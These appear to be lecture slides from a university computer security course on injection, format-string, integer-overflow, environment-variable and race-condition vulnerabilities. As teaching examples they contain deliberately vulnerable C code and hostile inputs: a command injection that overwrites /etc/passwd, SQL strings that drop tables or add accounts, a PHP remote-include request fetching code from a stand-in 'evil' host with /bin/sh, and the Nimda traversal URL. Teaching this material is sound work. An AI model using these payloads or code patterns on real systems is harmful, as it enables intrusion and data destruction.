

# CSE 410/565 Computer Security

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### Lecture 15: Software Security II

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# Software Vulnerabilities

- Buffer overflow vulnerabilities account for a large number of program exploits
- What else can go wrong?
  - inadequate input handling
    - input size
    - input interpretation
    - input syntax
  - inadequate environment handling
    - environment variables
    - race conditions

# Input Validation

- A program can receive input in many different ways
  - user input, database, network data, configuration files
- A program often expects the data to be of a particular length, have a particular format, etc.
- An attacker might have control over the input and feed any data of her choosing
- Attacker's goal might be to
  - crash programs
  - execute arbitrary code
  - obtain sensitive information

# Input Validation

- We need to place **adequate checks on the input data**
  - **input size**
    - insufficient memory allocation leads to overflow vulnerabilities
    - various types of overflow exist: stack, heap, global data buffer overflows
  - **input interpretation**
    - often data comes in a specific format and must be checked for compliance
    - e.g., protocol headers, character encodings, URLs, etc.
    - failure to verify input format can lead to different types of injection vulnerabilities

# Input Validation

- **Injection attack** refers to ability of input data to influence program flow
  - **command injection**
    - the input is used to execute additional commands using privileges of the process

- example: checking printer queue

```
void main(int argc, char *argv[]) {  
    char buf[1024];  
    sprintf(buf, "lpq %s", argv[1]);  
    system(buf);  
}
```

- what if `argv[1]` is `"p1; ls /"` or `"p1& echo `root:abcdef012345` | cat - > /etc/passwd"`?
- arbitrary commands can be executed

# Injection Attacks

- Injection attack (cont.)

- SQL injection

- user-supplied input is used to construct SQL request
- injection attack convinces the application to run SQL code that was not intended
- example 1: web application allows to query a table

```
SELECT office, building, phone
FROM employees
WHERE name = '$name';
```

- now assume that the supplied input is not simply Bob

```
SELECT office, building, phone
FROM employees
WHERE name = 'Bob'; DROP TABLE employees; --';
```

# Injection Attacks

- SQL injection (cont.)

- example 2: web authentication mechanism that emails forgotten passwords

- the SQL query can look like

```
SELECT somefields
FROM table
WHERE field = '$email';
```

- by manipulating the query, information about the field names, table name, and stored information can be guessed

- e.g., the query below will give an different error if the guessed field email does not exist

```
SELECT somefields
FROM table
WHERE field = 'x' AND email IS NULL;--';
```

# Injection Attacks

- SQL injection (cont.)

- example 2 (cont.)

- after guessing field names, other information can be guessed

```
SELECT email, passwd, name
FROM members
WHERE email = 'x' OR name LIKE '%Bob%';
```

```
SELECT email, passwd, name
FROM members
WHERE email = 'bob@example.com' AND passwd='hello1';
```

- furthermore, we can alter the table

```
SELECT email, passwd, name
FROM members
WHERE email='x';
INSERT INTO members ('email', 'passwd', 'name',)
VALUES ('user@buffalo.edu', 'pwd', 'Jen Smith');--';
```

# Injection Attacks

- Injection attacks
  - code injection
    - various forms of attacks exist that permit execution of attacker's code
    - example: PHP remote code injection using include file

- PHP script can contain lines of the form

```
include $path . `functions.php` ;  
require ($color . `.`.php` ) ;
```

- in addition to pointing to local code, any remote code can be executed as well
- e.g., the request can be of the form

```
vulnerable.php?path=http://evil/exploit&run=/bin/sh
```

# Injection Attacks

- Injection attacks
  - format string problem
    - was discovered in 2000 and affects any function that uses a format string
    - vulnerable print functions: printf, fprintf, sprintf, vprintf, ...
    - vulnerable logging functions: syslog, err, warn

# Injection Attacks

- Format string problem

- consider the following function

```
void main(int argc, char *argv[]) {  
    fprintf(stdout, argv[1]);  
}
```

- correct usage of such functions should be

```
void main(int argc, char *argv[]) {  
    fprintf(stdout, "%s", argv[1]);  
}
```

- what happens if the first argument is “%s%s%s%s”?
  - will crash or print memory contents

# Injection Attacks

- Format string problem
  - system logging functions might also permit the user to influence string format
  - one might be able to
    - view the stack
    - view memory at any locations
    - overwrite memory at any location

# Injection Attacks

- Format string problem
  - full exploit uses print operator `%n`
    - `%n` writes the number of characters printed so far to the memory pointed by its argument
    - e.g., `printf("%s%n", argv[1], &x)` will store number 15 in `x` if the string `argv[1]` is 15 characters long
    - the parameter value of the stack is interpreted as a pointer to integer value and the location to which it points is overwritten
  - what remains is to figure out how to get the address attacker'd like in the appropriate position in the stack

# Injection Attacks

- Format string problem
  - besides C/C++, all other languages that use format strings are vulnerable
  - examples of past exploits
    - wu-ftpd 2.\* – remote root
    - Linux rpc.statd – remote root
    - IRIX telnetd – remote root
    - BSD chpass – local root
- Many other types of input interpretation vulnerabilities exist

# Input Validation

- **Syntax validation**
  - since input data cannot be controlled, we need to verify that the data syntax is as expected
    - e.g., ASCII characters, email format, integer, etc.
  - it is safest to specify what is allowed rather than what is not allowed
    - if blocking potentially dangerous input is used, some (possibly not known yet) vulnerabilities can be missed
  - a difficulty arises when multiple encodings can be used
    - e.g., program disallows ‘/’ as dangerous
    - attacker replaces ‘/’ with Unicode representation `%c0%af`
    - in such case, **first** normalize the input using a single minimal representation and **then** check for acceptability

# Input Validation

- Failure to validate input syntax properly lead to a number of exploits

- Nimda worm attacked MS IIS using command

```
http://victim.com/scripts/../../../../winnt/system32/  
cmd.exe?⟨some command⟩
```

- here ⟨some command⟩ is passed to cmd.exe
- scripts directory of IIS has execute permissions
- input checking would prevent the above string, but Unicode characters helped

```
http://victim.com/scripts/..%c0%af..%c0%afwinnt/system32/  
cmd.exe?⟨some command⟩
```

- IIS first checked input and then expanded Unicode

# Input Validation

- Another concern is the [size of integer values](#)
  - integer values of inadequate length might result in **integer overflow vulnerability**

```
char buf[1024];
void vulnerable() {
    int len = read_int_from_network();
    char *p = get_len_bytes();
    if (len > sizeof(buf)) {
        error("length too large");
        return;
    }
    memcpy(buf, p, len);
}
```

- what is wrong with the code?

# Integer Overflow

- Let's look at the code more closely
  - `memcpy` prototype is

```
void memcpy(void *dest, const void *src, size_t n);
```
  - definition of `size_t`: `typedef unsigned int size_t;`
  - we are using signed `len` in place of an unsigned integer
  - do you see the problem now?
- Attacker can provide a negative value for `len`
  - `if` won't notice anything wrong
  - `memcpy()` is executed with negative third argument
  - third argument is implicitly cast to `unsigned int` and becomes a very large positive integer

# Integer Overflow

- Now `memcpy` copies huge amount of memory into `buf` causing a buffer overrun
  - this casting bug is hard to spot
- C compiler doesn't warn about type mismatch between signed int and unsigned int
  - it silently inserts an implicit cast

- Another similar example

```
const long MAX_LEN = 20000;
short len = strlen(input);
if (len < MAX_LEN)
    copy_len_bytes;
```

- how long does the input need to be to bypass the check?

# Integer Overflow

- One more example:

```
size_t len = read_int_from_network();  
char *buf = malloc(len+5);  
read(fd, buf, len);
```

- What's wrong with this code?
  - no buffer overrun problems (5 spare bytes)
  - no sign problems (all integers are unsigned)
- But `len+5` can overflow if `len` is too large
  - if `len=0xFFFFFFFF`, then `len+5=4`
  - allocate a 4-byte buffer, then read a lot more bytes into it
  - classic buffer overflow!

# Integer Overflow

- Truncation and integer casting are direct causes of integer overflow
  - you have to know programming language's semantics very well to avoid all pitfalls
- Where would integer overflow matter?
  - allocating space using calculations
  - calculating indices into arrays
  - checking whether an overflow could occur
- What type of casting can occur in C?
  - signed int to unsigned int; signed int to long signed or unsigned int
  - unsigned int to signed; unsigned int to long signed or unsigned
  - donwcasting

# Integer Casting

- More on casting in C
  - for binary operators  $+$ ,  $-$ ,  $*$ ,  $/$ ,  $\%$ ,  $\&$ ,  $|$ ,  $\wedge$ 
    - if at least one operand is unsigned long, both are cast to unsigned long
    - otherwise, if both operands are 32 bits (int) or less, they are both upcast to int (and the result is int)
  - for unary operators
    - $\sim$  changes type, i.e.,  $\sim((\text{unsigned short})0)$  is int
    - $++$  and  $--$  don't change type

# Interaction with the Environment

- Program input is not the only place over which attacker has control
  - the program interacts with other system components
  - e.g., environment variables, operating system, libraries, other programs, devices, etc.
- Environment variables
  - they are character strings which are passed to a process from its parent and can be used during execution
  - they can also be changed to any value
  - environment variables are used in a wide variety of OSs
  - some well-known environment variables
    - PATH, LD\_LIBRARY\_PATH, IFS

# Interaction with the Environment

- Example attack using environment variables
  - assume that some setuid program loads dynamic libraries at runtime
  - the system searches environment variable `LD_LIBRARY_PATH` for appropriate libraries
  - attacker can set `LD_LIBRARY_PATH` to reference its copy of the library, which will get executed with privileges of the setuid program
  - what can be done?
    - modern operating systems now don't use this environment variable when `euid` (`egid`) differs from `ruid` (resp. `rgid`)
    - alternatively, use statically linked executables at the cost of memory efficiency

# Interaction with the Environment

- Now suppose a setuid program executes `system(ls)`
  - attacker can set PATH to be `.` and place a program called `ls` in this directory
  - attacker can now execute arbitrary code as the setuid program
  - what can be done?
    - modern systems block this environment variable when the program is running as root
    - reset PATH within the program to be of a standard form such as `/bin:/usr/bin`
    - don't add `.` into the PATH variable
      - if it must be added, it belongs at the end

## Interaction with the Environment

- Unfortunately, resetting the PATH variable is not enough
  - the IFS variable also require attention
  - example 1: using system() call
    - say, attacker adds “s” to the IFS variable
    - `system(ls)` becomes `system(l)`, place program `l` in the appropriate directory
  - example 2: executing a shell script
    - PATH variable is reset inside the script using commands  
`PATH="/bin:/sbin:/usr/bin"; export PATH`
    - adding “=” to IFS will cause the first command to be interpreted as a command to execute with arguments
- Writing secure privileged shell scripts is very difficult, avoid using them

# Interaction with the Environment

- Another type of attacks deals with access to shared resources by several processes
  - interaction with other resources that programs use such as temporary files
  - such **race conditions** lead to many subtle bugs that are difficult to find and fix
  - example: Ghostscript temporary files
    - Ghostscript creates many temporary files
    - the file names are often generated by `makeTemp()`

```
name = makeTemp("/tmp/gs_XXXXXXXX");  
fp = fopen(name, "w");
```

## Interaction with the Environment

- Race conditions (cont.)
  - the problem with Ghostscript's implementation is that file names are predicable, derived from process ID
  - attack
    - create symbolic link `/tmp/gs_123456 -> /etc/passwd` at the right time
    - this causes Ghostscript to rewrite `/etc/passwd`
    - similar problems exist with `enscript` and other programs that use temporary files
  - to address the problem, use `atomic mkstemp()` which creates and opens a file atomically

# Conclusions

- There is a very large number of potential vulnerabilities
  - they range in sophistication, goal, and mechanisms
  - overflows, injections, etc.
- Many vulnerabilities can be addressed through careful input checking and validation
- Some other vulnerabilities are difficult to address without operating system support
- Producing safe code is non-trivial
  - how do we do that?